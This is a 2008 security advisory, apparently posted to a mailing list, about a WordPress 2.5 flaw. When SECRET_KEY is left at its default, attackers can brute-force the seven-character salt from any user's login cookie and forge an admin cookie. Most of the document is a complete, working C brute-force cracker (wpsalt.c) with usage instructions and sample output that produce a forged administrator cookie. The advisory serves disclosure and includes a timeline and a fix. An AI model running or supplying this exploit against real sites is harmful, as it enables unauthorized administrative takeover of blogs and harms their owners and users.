<<< Date Index >>>     <<< Thread Index >>>

WordPress 2.5 - Salt cracking vulnerability



WORDPRESS 2.5 - SALT CRACKING VULNERABILITY
-------------------------------------------
http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
By J. Carlos Nieto <xiam@xxxxxxxxxxxxxxxx> http://xiam.menteslibres.org

Severity
========
Medium. It affects only a determinate part of the WordPress users under
specific conditions.

Affected software
=================
WordPress 2.5

Vulnerability conditions
========================
After the initial WordPress instalation, the wp-config.php's SECRET_KEY must remain as te default value: 'put your unique phrase here' or be undefined, the default value remains untouched after installing via a browser. When the WordPress package is unpacked and the victim is ready to install it, he will be asked to read the manual in order to create a wp-config.php file, or to change permissions for the installation directory to be writable. If he choose to change directory permissions, the installation will be completely via web and the SECRET_KEY will remain as the default value. There exists some other conditions that let the user install WordPress without even knowing that he must change a SECRET_KEY in wp-config.php

1.- If the user attempts to install WordPress on Windows. Since Windows does not have a strong permissions check. 2.- If the user attempts to install WordPress under Apache + suexec. The files are not readable or writable for all other users, but writable for the user himself. Thus the installed won't ask you to read the manual. 3.- Some hosting companies have a one-click installer that does not setup a SECRET_KEY.
4.- You failed to read the whole installation manual.


Vulnerable scripts
==================
wp-include/pluggable.php
function wp_validate_auth_cookie($cookie) {
 ...
 // The cookie is not being validated.
 list($username, $expiration, $hmac) = explode('|', $cookie);
 ...
// I could send 9999999999 as the second argument of the cookie to skip this condition.
 if ( $expired < time() )
   return false;
 ...

 // A mysterious hash is used here, the hash becomes a seven
 // character word generated by wp_generate_password()
 // (a.k.a. SECRET_SALT), note that wp_salt() sets
 // $secret_key to null if SECRET_KEY is equal to the default value.
.
 // The argument passed to wp_hash() in the next line is
 // completely poisonable.

 // To gain admin privileges I could use:
 // 'admin|9999999999|MISTERIOUSHASH' as my cookie.
 $key = wp_hash($username . $expiration);
 $hash = hash_hmac('md5', $username . $expiration, $key);

 // A weak check, I may provide a custom $hmac by knowing
 // the wp_salt()'s value.
 if ( $hmac != $hash )
   return false;

 // There is no password check, not even IP verification
 $user = get_userdatabylogin($username);
}
...
function wp_salt() {
 global $wp_default_secret_key;
 $secret_key = '';
// If the key is null, not defined or has the default
 // value $secret_key remains null
// if ( defined('SECRET_KEY') && ('' != SECRET_KEY) && ( $wp_default_secret_key != SECRET_KEY) )
   $secret_key = SECRET_KEY;

 if ( defined('SECRET_SALT') ) {
   $salt = SECRET_SALT;
 } else {
   $salt = get_option('secret');
   if ( empty($salt) ) {
     $salt = wp_generate_password();
       update_option('secret', $salt);
     }
   }
// $salt is a seven char long password. $secret_key is null.
 return apply_filters('salt', $secret_key . $salt);
}

The wp_salt()'s value is stored here:

mysql> select * from wp_options where option_name = 'secret';
+-----------+---------+-------------+--------------+----------+
| option_id | blog_id | option_name | option_value | autoload |
+-----------+---------+-------------+--------------+----------+
|        61 |       0 | secret      | eat5fsE      | yes      |
+-----------+---------+-------------+--------------+----------+
1 row in set (0.00 sec)

So if the attacker gets the value of that seven length string he can
craft a special cookie and gain access to ANY account he wants.

How can I know the value of wp_salt()?
--------------------------------------
I am thinking of two ways to get the value of the wp_salt():
1.- Gain access to the WP database by using a SQL injection (such as the
GBK encoding and addslashes() issue) on the WordPress core itself or on
a third party plugin (the latest is more likely to be possible). I din't
find any user-level SQL injection on the WP core.
2.- Register yourself on a WP 2.5 blog, log in and grab the cookie named
wordpress_MD5(SITE_URL), try to crack the value of the wp_salt() with an offline attack using an specialized program.

Possible solution
=================
Read The Fabulous Manual (a.k.a. RTFM) and realize that you have to change the SECRET_KEY's value.
The SECRET_KEY should be changed automatically to something random.

Proof of concept
================
I wrote a bruteforce HMAC-MD5 cracker and adapted it to crack wp_salt()'s values using a legitimate cookie as an argument.

This is the output of my program cracking the wp_salt() based on a unprivileged user cookie:
(test%7C1208303160%7C7d735c50e3635035bf83132cc94ce731) and a given charset:

$ gcc -lcrypto -Wall -o wpsalt wpsalt.c
$ ./wpsalt test 1208303160 7d735c50e3635035bf83132cc94ce731 345aefstAE
=== Success! ===
* Key: eat5fsE
* Valid cookie: admin%7C9999999999%7Cc47aa8c2946525aa9bac61332faba442

=== Statistics ===
* Time taken: 31.240000 s
* Average speed: 308986.363636 w/s

The arguments of the wp_salt cracker are:
./wpsalt username timestamp hash [charset]

The average speed of my program is 360000 words per second.
There are 62 characters that can be used to generate a 7 character long wp_password(). If we perform a linear attack, we would have to wait (in the worst case), 62^7/360000/3600/24 = ~113 days. However, if we are lucky and we feed the program with a 31 long (a half of the total) character set that contains the seven magic letters, the attack can be reduced to 31^7/360000/3600/24 = 0.8 days, but this, of course, only if we are very lucky. The time of the attack is incremented exponentially with each extra character.

Vulnerability timeline
======================
Apr 12, 2008 - Vulnerability found.
Apr 13, 2008 - Vendor notified (no response).
Apr 15, 2008 - Public disclosure.


Acknowledgments
===============
G30rg3_x (http://www.g30rg3x.com), told me the appropriate way to
report a WordPress security vulnerability and helped me to test the
severity of the issue.

Attachments
===========
--- begins wpsatl.c ---

/***
*
* Wordpress 2.5 cookie based salt cracker
* by J. Carlos Nieto <xiam@xxxxxxxxxxxxxxxx>
* http://xiam.menteslibres.org
*
* Date:
*    April 13, 2008
*
* Advisory:
* http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability
*
* $ gcc -Wall -lcrypto -o wpsalt wpsalt.c
* $ ./wpsalt
*
* */


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <openssl/md5.h>
#include <time.h>

#define CHARSET "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
#define KEY_LEN 7

#define hexdec(x) (x - '0' < 10 ? x - '0' : x - 'a' + 10)
#define dechex(x) (x < 10 ? x + '0' : x - 10 + 'a')

void digest_to_string(unsigned char *, unsigned char *);
void print_digest(unsigned char *);
void hmac_md5(unsigned char *, int, unsigned char *, int, unsigned char *);
void exit(int);
void help();
void wp_hash(char *, int, unsigned char *, int, unsigned char *);
void error(const char *);
void string_to_digest(const char *, unsigned char *);

void digest_to_string(unsigned char *digest, unsigned char *string) {
 int i;
 int s;

 for (i = 0; i < 16; i++) {
   s = digest[i]%16;
   string[i*2] = dechex((digest[i]-s)/16);
   string[i*2+1] = dechex(s);
 }

 string[32] = 0;
}

void print_digest(unsigned char *digest) {
 unsigned char string[32];
 digest_to_string(digest, string);
 printf("%s\n", string);
}

/* http://www.faqs.org/rfcs/rfc2104.html */
void hmac_md5(unsigned char *text, int text_len, unsigned char *key, int key_len, unsigned char *digest) {
 MD5_CTX context;
 unsigned char k_ipad[65];
 unsigned char k_opad[65];
 //unsigned char tk[16];
 int i;

 /*
 if (key_len > 64) {
   MD5_CTX      tctx;

   MD5_Init(&tctx);
   MD5_Update(&tctx, key, key_len);
   MD5_Final(tk, &tctx);

   key = tk;
   key_len = 16;
 }
 */

 bzero(k_ipad, 65);
 bzero(k_opad, 65);

 bcopy(key, k_ipad, key_len);
 bcopy(key, k_opad, key_len);

 for (i = 0; i < 64; i++) {
   k_ipad[i] ^= 0x36;
   k_opad[i] ^= 0x5c;
 }

 MD5_Init(&context);
 MD5_Update(&context, k_ipad, 64);
 MD5_Update(&context, text, text_len);
 MD5_Final(digest, &context);

MD5_Init(&context); MD5_Update(&context, k_opad, 64);
 MD5_Update(&context, digest, 16);
 MD5_Final(digest, &context);
}

void help() {
 printf("WordPress 2.5, cookie based salt cracker\n");
 printf("by xiam <xiam@xxxxxxxxxxxxxxxx>\n");
 printf("============================================================\n");
printf("Advisory: http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability\n";);
 printf("\n");
 printf("Usage:\n");
 printf("    ./wpsalt username timestamp hash [charset]\n");
 printf("\n");
 printf("Example:\n");
 printf("    Get a legitimate user cookie, it doesn't need to be from\n");
 printf("    a privileged user.\n");
 printf("    It should look like this:\n");
 printf("    admin%%7C1208298864%%7C981a2a1363e9044a1181661b46777410\n");
 printf("    Run the program:\n");
 printf("        $ ./wpsalt admin 1208298864 \\\n");
 printf("          981a2a1363e9044a1181661b46777410\n");
printf(" Now wait some months... or if you're feeling lucky, specify\n");
 printf("    a charset such as in the example below:\n");
 printf("        $ ./wpsalt admin 1208298864 \\\n");
 printf("          981a2a1363e9044a1181661b46777410 aef5Est\n");
 exit(0);
}


void wp_hash(char *data, int data_len, unsigned char *key, int key_len, unsigned char *digest) {
 unsigned char salt[16];
 unsigned char inter_key[32];

 hmac_md5((unsigned char *)data, data_len, key, key_len, salt);

 digest_to_string(salt, inter_key);

 hmac_md5((unsigned char *)data, data_len, inter_key, 32, digest);
}

void error(const char *s) {
 printf("E: %s\n", s);
 exit(0);
}

void string_to_digest(const char *string, unsigned char *digest) {
 int i;
 int c;

 if (strlen((char *)string) == 32) {
   for (i = 0; i < 16; i++) {
     c  = hexdec(string[2*i])*16;
     c += hexdec(string[2*i+1]);
     digest[i] = c;
   }
 } else {
   error("The hash must be a 32 chars string.");
 }
}

int main(int argc, char *argv[]) {

 unsigned char goal_digest[16];
 unsigned char key[KEY_LEN+1];

 char *data;
 char *charset;

 int map[KEY_LEN];
 int charset_len, data_len;

 unsigned long long int words;
 int i, j, carr, cont;
 clock_t time_start, time_end;
 double  total_time;
 unsigned char digest[16];
data = NULL;
 charset = NULL;

 if (argc > 3) {

   string_to_digest(argv[3], goal_digest);

data = (char *) malloc(sizeof(unsigned char)*(strlen(argv[1]) + strlen(argv[2]) + 1));
   strcat(data, argv[1]);
   strcat(data, argv[2]);

   if (argc > 4) {
     charset = argv[4];
   } else {
     charset = CHARSET;
   }
 } else {
   help();
 }

 data_len = strlen(data);

 charset_len = strlen(charset)-1;

 for (i = 0; i < KEY_LEN; i++) {
   map[i] = 0;
   key[i] = charset[0];
 }
 key[i] = '\0';

 map[0] = -1;

 time_start = clock();

 for (words = -1, cont = 1; cont; words++) {
j = 0;

   map[j]++;

   if (map[j] > charset_len) {
     map[0] = 0;
     key[0] = charset[0];
     carr   = 1;
     j++;
     while (carr) {
       if (j < KEY_LEN) {
         map[j]++;
         if (map[j] > charset_len) {
           map[j] = 0;
         } else {
           carr = 0;
         }
         key[j] = charset[map[j]];
         j++;
       } else {
         cont = 0;
         carr = 0;
       }
     }
   } else {
     key[0] = charset[map[0]];
   }

   wp_hash(data, data_len, key, KEY_LEN, digest);

   if (memcmp(digest, goal_digest, 16) == 0) {
     printf("=== Success! ===\n");
     printf("* Key: %s\n", key);
wp_hash("admin9999999999", 15, key, KEY_LEN, digest);

     printf("* Valid cookie: admin%%7C9999999999%%7C");
     print_digest(digest);
     cont = 0;
   }

 }

 time_end = clock();
 total_time = ((double) (time_end - time_start)) / CLOCKS_PER_SEC;

 printf("\n");
 printf("=== Statistics ===\n");
 printf("* Time taken: %f s\n", total_time);
 printf("* Average speed: %f w/s\n", words/total_time);

 return 0;
}
--- ends wpsalt.c ---

--
La civilizaci~n no suprime la barbarie, la perfecciona. - Voltaire
- J. Carlos Nieto (xiam). http://xiam.menteslibres.org